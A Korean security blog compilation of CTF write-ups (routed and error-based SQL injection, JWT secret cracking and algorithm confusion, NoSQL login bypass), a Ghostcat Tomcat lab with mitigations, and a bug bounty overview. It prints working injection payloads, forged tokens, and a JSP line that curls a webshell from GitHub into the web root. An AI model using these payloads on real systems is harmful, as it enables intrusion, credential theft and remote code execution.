반응형

Routed SQL Injection 문제입니다.

 

문제를 풀기 전, Routed SQL Injection이 무엇인지, 어떻게 발생하는지에 대해 조사해보았습니다.

위는 Routed SQL Injection이 발생하는 취약한 코드입니다.

현재 코드는 첫 번째 쿼리의 결과 값이 두 번째 쿼리의 입력 값으로 사용되고 있습니다.

SQL Injection을 발생 시키려면, sec_code(첫 번째 쿼리의 출력)인 두 번째 쿼리에 대한 입력을 제어할 수 있어야 합니다.

 

즉, 첫 번째 쿼리에서 SQL Injection이 발생하고, 이의 영향이 두 번째 쿼리에 미쳐 두번째 쿼리에서도 SQL Injection이 발생하는 경우Routed SQL Injection이라고 칭합니다.

 

문제를 풀어보도록 하겠습니다. 문제에 접속하면 첫 페이지에 로그인 창이 뜹니다.

그냥 [admin/admin]으로 로그인 시도해보았습니다.

 

그냥 "Wrong login/password"라는 오류 메시지만 출력됩니다. 

[Search] 탭을 클릭해봅니다.

 

[Search] 메뉴에서는 데이터베이스에 있는 계정을 검색할 수 있습니다.

admin을 검색했더니 ID는 3, email이 admin@sqli_me.com이라는 정보를 출력해주네요.

 

취약한 부분인지 판단하기 위해 싱글 쿼터(')를 삽입해보았습니다.

Syntax 에러가 발생하면서 에러 메시지가 출력되고 있습니다.

 

SQL Injection 할 경우 주로 사용되는 or, and 문자가 필터링되고 있어 Attack Detected 에러가 출력되고 있습니다.

그 대안으로 union select 구문을 이용해보았습니다.

 

'union select 1--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 1로 설정하고 있어, 두 번째 쿼리가 성공적으로 실행되어 결과 값 1에 대한 결과가 출력되고 있습니다. 첫 번째 값은 jean입니다.

 

'union select 2--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 2로 설정하고 있고, 값 2에 대한 결과가 출력되고 있습니다. 두 번째 값은 michel입니다.

 

'union select 3--+- 쿼리를 입력할 경우, 역시나 두 번째 쿼리 값을 3으로 설정하고 있고, 값 3에 대한 결과가 출력되고 있습니다. 세 번째 값은 admin입니다. (우리는 admin의 패스워드를 찾아야 합니다.)

 

'union select 3--+- 쿼리를 입력할 경우, 빈 데이터가 출력되었습니다. 세 개의 데이터를 가지고 있음을 확인할 수 있겠죠.

 

이제는 관리자(admin)의 패스워드를 찾기 위한 사전 정보를 수집해보겠습니다.

Step 1. 필드 수 파악

필드 수를 확인하기 위해 order by 구문을 사용하였습니다. 두 번째 쿼리에 'order by 1-- - 값을 넣을 때, 서버에 존재하는 문자열 필터링을 우회하기 위해 Ascii Hex 인코딩을 하였습니다.

 

'union select 0x276f7264657220627920312d2d202d--+- 쿼리를 입력할 경우, 빈 데이터가 출력됩니다.

 

숫자를 하나씩 증가시켜 보겠습니다. 두 번째 쿼리에 'order by 2-- - 쿼리를 넣었을 때도 마찬가지로 빈 데이터가 출력되지만 'order by 3-- - 쿼리를 넣으면 에러가 발생하고 있습니다.

 

'union select 0x276f7264657220627920332d2d202d--+- 쿼리를 입력할 경우, 에러가 출력되고 있기 때문에, 필드 수는 2개 임을 확인할 수 있습니다.

 

Step 2. 테이블명 파악

테이블 명을 파악하기 위해 두 번째 쿼리에 테이블 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select table_name from information_schema.tables where table_type='base table')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x276f7264657220627920332d2d202d27756e696f6e2073656c65637420312c2873656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f747970653d2762617365207461626c6527292d2d202d--+- 쿼리를 입력할 경우, users라는 테이블 명이 출력되었습니다.

 

Step 3. 컬럼명 파악

컬럼 명을 파악하기 위해 두 번째 쿼리에 컬럼 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27757365727327292d2d202d--+- 쿼리를 입력할 경우, id, login, password, email라는 컬럼 명을 파악할 수 있습니다.

 

Step 4. 데이터 파악

마지막으로 관리자(admin)의 패스워드를 뽑아보도록 하겠습니다. 두 번째 쿼리에

'union select 1,(select password from users where email='admin@sqli_me.com')-- -

위의 평문 쿼리를 이용하여(admin을 검색할 경우 나왔던 email 값을 이용하였음)

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742070617373776f72642066726f6d20757365727320776865726520656d61696c3d2761646d696e4073716c695f6d652e636f6d27292d2d202d--+- 쿼리를 삽입해 관리자의 패스워드, 즉 Flag 값 획득에 성공하였습니다.'

 


※ 참고 자료 ※

-http://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html

-https://improsec.com/tech-blog/routed-sql-injection

반응형
반응형

Error based SQL Injection 문제입니다. 관리자의 패스워드를 획득하는 것이 목표입니다.

 

문제에 들어가 보면 [Authentication] 메뉴와 [Contents] 메뉴 두 개가 있습니다.

우선, [Authentication] 메뉴에 있는 로그인 폼에다가 임의로 로그인을 해보았습니다. [admin/1234]

 

"login failed" 라는 에러 문구만 출력되고 다른 에러는 보이지 않습니다.

취약한 포인트가 아닌 것 같네요. 

이번에는 [Contents] 메뉴를 클릭해보았습니다.

 

[Contents] 메뉴 클릭 시 action과 order 파라미터가 전송되는데 order 파라미터 값에 싱글 쿼터를 삽입해보았습니다.

 

데이터베이스 오류가 출력됩니다! 이 포인트를 이용해서 에러 기반 SQL Injection을 진행하면 될 것 같습니다.

 

어떤 데이터베이스를 사용하는지 몰라서 우선 모든 구문을 다 삽입해보았습니다.

https://sqlwiki.netspi.com/injectionTypes/errorBased/#postgresql

 

NetSPI SQL Injection Wiki

Error based SQL Injections are exploited through triggering errors in the database when invalid inputs are passed to it.

sqlwiki.netspi.com

위 링크에 나와있는 Mysql, Oracle 등의 구문을 삽입하다가 Postgresql 구문이 정상 실행되어 데이터베이스 종류를 파악할 수 있었습니다.

 

1. VERSION 정보

,cast(,cast(chr(126)||version()||chr(126)+as+int)-- 구문으로 PostgreSQL 버전 정보를 획득할 수 있습니다.

 

2. 테이블 정보

,cast(,cast(chr(126)||(select+table_name+from+information_schema.tables+limit+1)||chr(126)+as+int)-- 구문으로 테이블 정보를 획득합니다. 테이블 명이 m3mbr35t4bl3 임을 확인할 수 있습니다.

 

3. 컬럼 정보

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1)||chr(126)+as+int)-- 구문으로 첫 번째 컬럼 정보를 획득합니다. 첫번째 컬럼 명은 id입니다.

 

두 번째 컬럼 정보를 얻기 위해 구문에 offset을 추가하였습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+1)||chr(126)+as+int)-- 구문으로 두 번째 컬럼 정보를 획득합니다. 두번째 컬럼 명은 us3rn4m3_c0l입니다. 

 

패스워드 컬럼을 찾기 위해 세번째 컬럼 명까지 확인해보았습니다.

,cast(,cast(chr(126)||(select+column_name+from+information_schema.columns+limit+1+offset+2)||chr(126)+as+int)-- 구문으로 세 번째 컬럼 정보를 획득합니다. 세번째 컬럼 명은 p455w0rd_c0l입니다. 해당 컬럼에 패스워드 정보가 들어있을 것 같다는 예상이 됩니다.

 

4. 데이터 정보

패스워드 컬럼 명까지 확인했으니 데이터를 뽑아보겠습니다.

우선은 ,cast(,cast(chr(126)||(select+us3rn4m3_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 유저 컬럼의 첫 번째 데이터부터 확인합니다. 첫번째 데이터 값이 admin 이므로 admin에 해당하는 패스워드만 확인하면 될 것 같습니다.

 

,cast(,cast(chr(126)||(select+p455w0rd_c0l+from+m3mbr35t4bl3+limit+1+offset+0)||chr(126)+as+int)-- 구문으로 admin의 패스워드 값을 확인합니다. 해당 값이 Flag이기 때문에 바로 인증하시면 됩니다!

반응형
반응형
1. Ghostcat 취약점이란?

#1. 취약점 개요

1월 초, Chaitin Tech에서 톰캣 관련 취약점이 발견되었다고 발표하였습니다. Tomcat AJP 프로토콜의 결함으로 인해 발생한 해당 취약점은 Tomcat의 webapp 디렉토리 하위에 있는 임의의 파일 접근 및 읽을 수 있고, 서버에 파일 업로드 기능이 있는 경우 이를 악용하여 서버 사이드 스크립트 파일(jsp) 업로드 및 원격코드실행이 가능합니다.

 

#2. 취약점 원리

기본적으로 Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.

 

#3. 취약한 버전

- Apache Tomcat 9.0.30 포함한 이전 버전 < 9.0.31

- Apache Tomcat 8.5.50 포함한 이전 버전 < 8.5.51

- Apache Tomcat 7.0.99 포함한 이전 버전 < 7.0.100

- Apache Tomcat 6.x

(TMI : 해당 취약점이 발견되었을 때, 톰캣 9/8/7/6의 모든 버전에 영향을 미쳐 10년 이상 휴면 상태였기 때문에 Ghostcat이라고 명명했다고 합니다.)

 

2. 실습

#1. 실습 환경 구축

- Apache Tomcat 8.5.50 버전

- Windows 10 

 

Step 1) 취약한 톰캣 버전 다운로드

https://archive.apache.org/dist/tomcat/에서 취약한 버전의 톰캣 다운로드 합니다. 

bin 디렉토리 내 윈도우 환경은 zip, 리눅스 환경은 tar.gz 파일을 다운 받으시면 됩니다. 

 

Step 2) Tomcat 서버 구동

저는 실습을 위해 Apache Tomcat 8.5.50 버전을 다운로드 받았으며, bin 디렉토리 내에 있는 [startup.bat] 파일을 실행시켜 톰캣 서버를 구동합니다. http://[ip정보]:8080 으로 접근하니 Tomcat 서버가 성공적으로 작동하고 있음을 확인할 수 있습니다.

 

Step 3) 파일 업로드 기능 추가

로컬 PC에 Tomcat 서버를 구동시켰기 때문에 바로 파일을 업로드해도 되지만, 실제 진단환경과 비슷하게 하기 위해 간단한 파일업로드 기능을 하는 게시판을 추가시켰습니다.

 

fileupload.jsp 페이지에서 test.txt 파일을 업로드한 후 [UPLOAD] 버튼을 클릭하면

 

Upload Success 라는 메시지가 출력된 후

 

본인이 지정한 위치 저의 경우 Tomcat webapps/ROOT/file 디렉터리에 업로드 되는 것을 확인할 수 있습니다.

 

#2. 공격 실습

Step 1) POC 코드 / 공격 툴 다운로드

- XRAY 툴 : https://github.com/chaitin/xray/releases/tag/0.19.2
- POC : https://github.com/00theway/Ghostcat-CNVD-2020-10487

- POC : https://github.com/laolisafe/CVE-2020-1938
- POC : https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

 

Step 2) 공격 코드 테스트

저는 위 링크 중 두번째 코드를 이용해 실습을 진행하였습니다.

 

만약, 웹 상으로 웹 서버 설정파일인 web.xml에 접근 시도 시 위와 같이 에러가 발생합니다.

 

그러나, 아래와 같이 [python ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read] 명령어를 이용해 webapps 디렉터리 하위에 존재하는 웹 설정파일을 읽을 수 있습니다.

Step 3) 공격 수행

업로드 기능을 이용해 URL 상에 있는 웹쉘을 다운로드 받아 실행시켜 보도록 하겠습니다.

(사실 위의 업로드 게시판은 확장자 필터링 기능이 없어 웹쉘을 바로 업로드할 수 있으나, 실제 진단 환경처럼 이미지나 텍스트 파일만 업로드 가능한 환경이라고 가정하였습니다.)

아래의 코드를 텍스트 파일로 저장하여 업로드합니다.

 

[<% Runtime.getRuntime().exec("cmd.exe /C curl -o ..\\webapps\\ROOT\\cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>]

 

위는 서버에서 cmd를 이용해 cmd.jsp 파일을 다운로드하는 명령어입니다. 윈도우 환경이라 wget 명령어가 아닌 curl 명령어를 사용하였습니다.

 

read 명령어를 사용해 업로드한 파일 접근이 가능해 취약함을 판단하였고, eval 명령어를 통해 ghostcat.txt를 jsp로 실행하였습니다.

 

eval 명령어를 통해 URL 상의 cmd.jsp가 다운로드 되었고, 지정한 경로인 웹 루트에 저장되어 cmd.jsp 파일 생성 및 해당 페이지 내 cmd 기능을 통해 명령어 실행이 가능하였습니다. 

 

3. 대응방안

#1. Apache Tomcat 최신 버전 업데이트

- https://tomcat.apache.org

- https://github.com/apache/tomcat/releases

 

#2. 설정 파일 수정 후 톰캣 재기동

CASE1. AJP Connector service 사용하지 않는 경우

<CATALINA_BASE>/conf/server.xml 내

...

<!-- <Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" /> --> //주석처리

...

 

CASE2. AJP Connector service 사용하는 경우

[최신 버전으로 업데이트 후]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />

...

혹은

[최신 버전으로 업데이트 불가한 경우]

<CATALINA_BASE>/conf/server.xml 내

...

<Connector prot="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />

...

 

4. 참고자료

- https://blog.alyac.co.kr/2772

- https://www.chaitin.cn/en/ghostcat?fbclid=IwAR1UWAw46jxHg5SbieNZ66-yACav853QlfcLLWIv_3jFJBvJEzvpSGFMFo4

- https://blog.naver.com/isc0304/221832618749

- https://www.dailysecu.com/news/articleView.html?idxno=106713

- https://github.com/00theway/Ghostcat-CNVD-2020-10487 // POC

반응형
반응형

JSON Web Token(JWT) 관련 마지막 문제입니다. 

이전에 작성했던 JWT - Public Key 보다 난이도가 낮은데 앞 문제부터 포스팅해버렸네요.

어쨌든 이번에는 Weak Secret 문제입니다.

 

문제에 접속해보면 위와 같은 메시지가 출력되고 있습니다. 

간단한 게임을 해보자며(쏘우 같네..ㅎ) 저희가 super secret admin section에 접근 못한다에 배팅을 걸었네요.

그러고 나서는 또 친절하게 token을 이용해서 /admin에 접속하면 된다며 힌트를 주고 있습니다.

 

힌트에 나온 대로 /token에 접근해보니 jwt 값을 얻을 수 있습니다.

 

admin section에 획득한 jwt 값을 이용해서 접근해보니,, 인증 값이 안 맞다며 놀리고 있네요.

 

우선, 획득한 jwt 값을 디코딩해보았습니다. 알고리즘은 HS512를 사용하고 있고, Payload 상의 role(권한)이 guest 권한이라 admin section 접근 거부당한 것을 알 수 있습니다.

 

role(권한)을 admin으로 변조하려면 secret key 값을 알아내야 합니다.

Key cracking 툴은 여러 종류가 있기 때문에 본인의 취향에 맞게 선택하시면 될 것 같네요.

John the Ripper, PyJWT, jwtcat 등을 사용하시면 됩니다.

 

저는 jwtcat 툴을 사용했습니다. jwtcat 툴을 설치하는 과정입니다.

$ git clone https://github.com/AresS31/jwtcat

$ cd jwtcat

$ pip3 install -r requirements.txt

 

pip3 install -r requirements.txt << 해당 명령어가 실행이 안되면 아래 명령어를 순서대로 실행 후 다시 진행하세요.

$ sudo apt-get update

$ sudo apt-get install python3-pip

 

jwtcat을 설치했으면 key Cracking 과정만 남았습니다.

$ python3 jwtcat.py -t TOKEN -w WORDLIST

 

TOKEN에 획득한 jwt 토큰 값을 입력하고 WORDLIST에 패스워드 사전 경로를 입력해 주시면 됩니다.

wordlist는 crunch, cupp, 워드하운드, BruteScrape 등으로 직접 만드셔도 되고 웹 상에 업로드된 리스트를 사용하셔도 무방합니다. 저는 구글링으로 기존에 만들어져 있는 password list를 다운로드하여 사용했습니다.

(용량이 너무 커서 첨부를 못하네요...ㅜㅜ)

 

아무튼 jwtcat를 실행하시면 크랙된 Secret key 획득에 성공할 수 있습니다.

 

획득한 secret key를 이용해서 변조한 페이로드를 서명하시면 됩니다.

Payload의 role을 admin으로 바꾸고, Signature 부분에 획득한 secret key(lol)을 입력해주면 jwt 포맷으로 토큰 값이 나옵니다. 

 

이것을 다시 admin section에 접속할 때, Header의 Authorization 부분에 삽입해주면!~

admin 권한으로 인식되어 flag 값을 확인하실 수 있습니다.

 


※ 참고자료

- https://github.com/AresS31/jwtcat

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token(JWT) - Public key  (0) 2020.03.05
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
반응형

JWT(Json Web Token) - Public Key 문제를 풀어보도록 하겠습니다.

JWT에 대한 아주 기초적인 설명은 이전 포스트에서 언급했기 때문에 넘어가도록 하겠습니다.

2019/12/20 - [Study/Wargame] - [root-me] JSON Web Token (JWT) - Introduction

 

이번 문제는 이전 포스트에서 얘기한 JWT Attack 케이스 중 CASE3. algorithm 변조(RS256 to HS256)에 해당하는 문제였습니다.
HS256 알고리즘은 비밀키(Secret Key)를 사용하여 토큰의 Header와 Payload를 서명하고 인증하는 반면, RS256 알고리즘은 개인키(Private Key)를 사용해 서명하고, 이를 검증하기 위해 공개키(Public Key)를 사용합니다.

만약, 서명 알고리즘을 RS256에서 HS256으로 변경할 경우, 인증 서버에서는 공개키(Public Key)를 비밀키(Secret Key)로 사용하고 HS256 알고리즘을 사용해 서명을 확인합니다. 이러한 경우 공격자는 공개되어 있는 공개키(Public Key)를 얻어 토큰을 서명하고 HS256 알고리즘으로 서명을 검증해 JWT Attack이 이루어지는 것입니다.

 

문제를 풀어보도록 하겠습니다.

문제에 접속해보면 아무것도 없는 페이지가 출력되고 있습니다. 

하지만, 문제 설명(첫번째 사진)에 보면 대략적인 설명이 나와있습니다.

/key, /auth, /admin 이렇게 3가지의 end point가 있고, 이 문제의 목표는 admin section에 접근하는 것입니다.

 

순서대로 end point에 접근해보면서 정보를 모아보았습니다.

우선, /key 페이지에 접근하면 공개키(Public Key)를 쉽게 얻을 수 있습니다.

 

그다음엔 /auth 페이지에 POST 메소드로 접근해보았습니다. 메시지에 username 파라미터가 필요하다고 합니다.

 

username=admin 이라는 값을 삽입한 후 다시 한번 접근해보았습니다.

그렇지만, admin이 아니라는 Error 메시지만 출력되네요.

 

이번에는 username=guest 값을 삽입해보았습니다.

JWT 토큰 값을 얻었습니다~!

 

JWT 값을 BASE64 디코딩해보니 Header에 서명 알고리즘이 RS256, Payload에 username이 guest 임을 확인할 수 있습니다.

https://jwt.io/ << JWT 토큰 값 인코딩/디코딩 사이트

 

공격을 위해 Header의 alg 값을 HS256으로 변경하고 Payload를 우리가 원하는 값, 즉 admin으로 변경하였습니다.

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0

 

이번에는 누락된 검증 값을 얻는 과정입니다. 서명에 사용할 공개키(Public Key)가 필요한데, 해당 문제에서는 /key 페이지에서 확인할 수 있습니다. 실제 환경에서는 서버의 TLS 인증서를 이용할 수도 있다고 합니다.

 

/key 페이지에서 획득한 공개키(Public Key)를 ASCII hex 값으로 인코딩합니다.

더보기

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

ASCII hex 값으로 인코딩하는 이유는 Bytes를 사용자가 제어할 수 있을 뿐만 아니라 명령어 입력 시 안전하게 처리할 수 있기 때문이라고 합니다.

 

공개키(Public Key)를 HS256 알고리즘을 사용해서 서명합니다.

더보기

echo -n "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541354568376c65726a69732f426839776443725a590a613268426d414c2f74322b4558767471764e396f734f754b6771336e5043774b5947347831494d32517177325a6e6930345949707055416b4a4e745a5a3541380a7855616749375654654d5872696f37634179656e71724e58386c4371663575746174392f584251613636346f4e5165565977556377593274635275547945444e0a6849377270706b4654715933704d6e437a514d6b6f6b6e5173467a6a616e76436763476d395738487349303956735430336b4e59422f59786b61323449796c680a51365255376e336b38555346562b6431395249666e364a6779554634747a646e65756757614245394c54776659304c2b45784a4e58473553306c6b466a7275790a4b796556763049374d684d79395843634d7462533450584330327357526e6f6b3552312f466e6b5153394b555a567075475257327036666d65754f4446396b520a33514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

위의 명령어 입력 시 2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169 라는 결과를 얻었습니다.

 

위의 명령어는 획득한 HMAC 서명 값(2ae~)이 ASCII hex 값인데 이를 JWT 포맷으로 변경해주는 작업입니다.

더보기

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('2ae5e070aaaa6e5eadc625c28598b9b766745a199e9482cfb912bf75e784e169')).replace('=','')\")"

명령어 실행 시 서명 값 KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk 를 얻을 수 있습니다.

 

이제 완벽한 JWT 값이 만들어졌으니 인증 값을 전송해보도록 하겠습니다.

/admin 페이지에 접근해보니 [Authorization: Bearer JWT]  형식으로 인증하라고 쓰여있습니다.

 

헤더 값에 생성한 JWT 값을 추가하여 서버로 전송합니다.

jwt 값을 이용해 admin 권한으로 인증되어 Flag 값을 얻을 수 있습니다!

더보기

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KuXgcKqqbl6txiXChZi5t2Z0WhmelILPuRK_deeE4Wk


※ 참고자료

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf 

- https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/

- https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Error  (0) 2020.03.12
[root-me] JSON Web Token (JWT) - Weak secret  (0) 2020.03.06
[root-me] NoSQL Injection - Authentication  (0) 2020.03.03
[root-me] File upload - ZIP  (0) 2020.02.12
[root-me] PHP - preg_replace()  (0) 2020.01.08
반응형

NoSQL Injection 문제입니다. Admin 권한을 탈취하는 것이 아닌 hidden user를 찾는 것이 목표입니다.

그전에 앞서 우선 NoSQL 대해 알아보도록 하겠습니다.


NoSQL 이란?

NoSQL(=Not Only SQL)은 문서 저장소, 키값 저장소, 그래프 등과 같은 다른 저장 메커니즘에 의존하는 비관계형 데이터베이스입니다. 기존에 사용하던 관계형 데이터베이스로는 엄청난 수의 서버에 데이터를 배포해야 하는 소셜 네트워크 서비스를 제공할 수 없었기에 더 융통성 있고, 데이터의 저장 및 검색에 특화된 메커니즘, NoSQL이 각광받게 되었습니다.

가장 많이 쓰는 NoSQL DBMS로는 MongoDB, Cassandra, Redis 등이 있으며, NoSQL 데이터베이스의 인기는 지속적으로 증가하고 있는 추세입니다.

 

NoSQL 또한 초창기에는 보안적으로 미흡한 부분이 많이 보여지고 있습니다. 암호화, 인증 및 역할 관리 미흡, 네트워크 노출, DOS 공격 등을 허용하고 있었습니다. 그중에서 가장 자주 사용되는 공격 기법인 NoSQL Injection에 대해 써보려고 합니다.

 

NoSQL Injection

NoSQL Injection은 SQL Injection 공격과 크게 다르지 않습니다. 문법의 차이일 뿐입니다.

사용자 id와 패스워드를 이용한 로그인 매커니즘을 예를 들어보겠습니다. 아래는 HTTP POST 페이로드입니다.

userid=zzzz0&passwd=password1!

그리고 이것을 처리하고 MongoDB 쿼리 하는 PHP 코드는 아래와 같습니다.

db->logins->find(array("userid"=>$_POST["userid"], "passwd"=>$_POST["passwd"]));

개발자가 전송하는 쿼리는 다음과 같습니다.

db.logins.find({ userid : 'zzzz0', passwd : 'password1!' })

PHP는 공격자가 악의적인 페이로드를 보낼 수 있도록 연관 배열 메커니즘을 제공하고 있습니다.

userid[$ne]=1&passwd[$ne]=1

위와 같은 페이로드가 왔을 때, PHP 코드는 아래와 같습니다.

array("userid"=> array("$ne" => 1), "passwd" => array("$ne" => 1));

MongDB 쿼리는 다음과 같습니다.

db.logins.find({ userid : { $ne: 1 }, passwd : { $ne: 1 } })

$ne는 != 를 의미하는데, 이는 userid가 1이 아니고, passwd가 1이 아닌 항목, 즉 로그인 컬렉션의 모든 항목(사용자)을 반환한다는 것을 의미합니다. 따라서, 이 취약점을 이용해 로그인 인증 메커니즘을 우회해 로그인, 비인가 데이터 액세스, 비인가자 서비스 이용 등의 공격이 이루어질 수 있습니다.


문제를 풀어보면서 NoSQL Injection을 더 이해해보도록 하겠습니다.

 

문제에 들어가면, Nickname과 패스워드를 입력받는 로그인 폼이 보입니다.

어떤 방식으로 로그인이 이루어지는지 확인해보기 위해 admin/admin을 입력해보았습니다.

 

GET 메소드를 이용해 login, pass 파라미터가 전송되고 있습니다.

 

위에서 입력한 admin/admin의 결과 값은 Bad username or bad password!라고 로그인 에러가 출력됩니다.

 

앞에서 확인한 방법으로 $ne를 이용해 로그인 메커니즘 우회를 시도해보았습니다.

login이 admin 아니고, pass가 admin(임의 사용)이 아닌 사용자, test로 로그인되었습니다.

 

이번에는 login이 test가 아니고, pass가 admin이 아닌 사용자로 연결을 시도해보았습니다.

문제의 목표인 hidden user가 나오지 않고 그냥 admin으로 로그인되어버립니다.

 

 

MongoDB는 $ne 뿐만 아니라 많은 쿼리 연산자를 제공하고 있습니다.

{}[]() 관계 묶음 $ne not equal $regex 정규 표현식
', " 문자열 처리 $exist 키 존재 여부 $gt >
: 연결자 $where 필터링 스크립트 $lt <

 

MongoDB에서는 정규 표현식을 사용할 수 있었습니다. 

따라서, login이 admin도 아니고 test도 아닌 사용자를 찾는 쿼리를 전송하니 hidden user가 출력되었습니다.

 

정규 표현식을 잘 설명한 블로그 링크를 첨부하도록 하겠습니다.

https://hamait.tistory.com/342

 

※ NoSQL 참고 자료 

- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL,%20No%20injection%20-%20Ron,%20Shulman-Peleg,%20Bronshtein.pdf

-https://medium.com/@shukla.iitm/nosql-injection-8732c2140576

-https://www.samsungsds.com/global/ko/support/insights/1195843_2284.html

반응형
반응형
1. 개요

버그 바운티란? 

특정 기업에서 제공하는 서비스와 제품을 해킹해서 취약점을 발견한 해커에게 포상금을 지급하는 제도입니다.

구글, 애플, 페이스북 등 많은 기업이 버그 바운티 프로그램을 활용하고 있으며, 국내에서도 2012년부터 KISA(한국인터넷진흥원)이 도입하여 운영 중입니다.

하지만, 버그 바운티를 운영하고 있는 기업이라고 해서 무턱대고 공격을 수행하는 것은 아닙니다.

일반적으로는 해커와 기업을 연결하는 전문 업체(해커원 등)를 이용하고 있으며, 자체 플랫폼을 이용하는 경우도 있습니다.

현재 기준(2020년)으로 버그 바운티를 수행할 수 있는 플랫폼을 소개해볼까 합니다.

 

2. Hackerone

해커원은 버그 바운티를 운영하는 기업과 화이트 해커를 연결해주는 세계 최대 플랫폼입니다.

 

해커원의 버그 바운티는 아래의 프로세스로 진행되고 있습니다.

1. Create an account. https://hackerone.com/users/sign_up // 계정 생성

2. Verify your email. // 이메일 인증

3. Configure your profile and account settings under Settings. // 프로필 세팅

4. Explore Hacktivity to see what hacker activity is trending. // Hacking

5. Submit a vulnerability report. // 보고서 작성 및 제출(외국기업이기 때문에 영어로 작성 필요..ㅠ)

 

로그인 후 [Programs] 메뉴에 접속하면, 버그 바운티를 운영하고 있는 기업의 리스트가 나열된 것을 확인할 수 있습니다.

 

임의의 기업을 클릭해서 들어가면 상단에 리포트를 제출하는 버튼이 있습니다. 취약점 제보는 저기를 통해서 하면 되겠죠?

하단에는 운영중인 버그 바운티 프로그램의 정책들과 세부사항이 나와있습니다.

 

가장 하단의 In Scope 즉 대상 범위의 도메인을 대상으로 취약점 진단을 진행하시면 됩니다.

기업마다 비슷한 Program Rules가 제정되어 있으나, 버그 바운티를 진행하기 전 꼭 필독하시고 진행하셔야 합니다.

회원가입 시 해커원 이메일을 사용해야 한다거나, 이름을 이렇게 써라..라는 등의 정책이 있더라고요!

 

3. KISA

국내의 버그 바운티는 KISA(한국인터넷진흥원)이 운영 중에 있습니다.

 

그러나, 신고대상 취약점이 '소프트웨어'에 대한 보안 취약점으로 최신 버전의 소프트웨어 영향을 줄 수 있는 신규 보안 취약점(제로데이 취약점)라고 한정되어 있습니다.

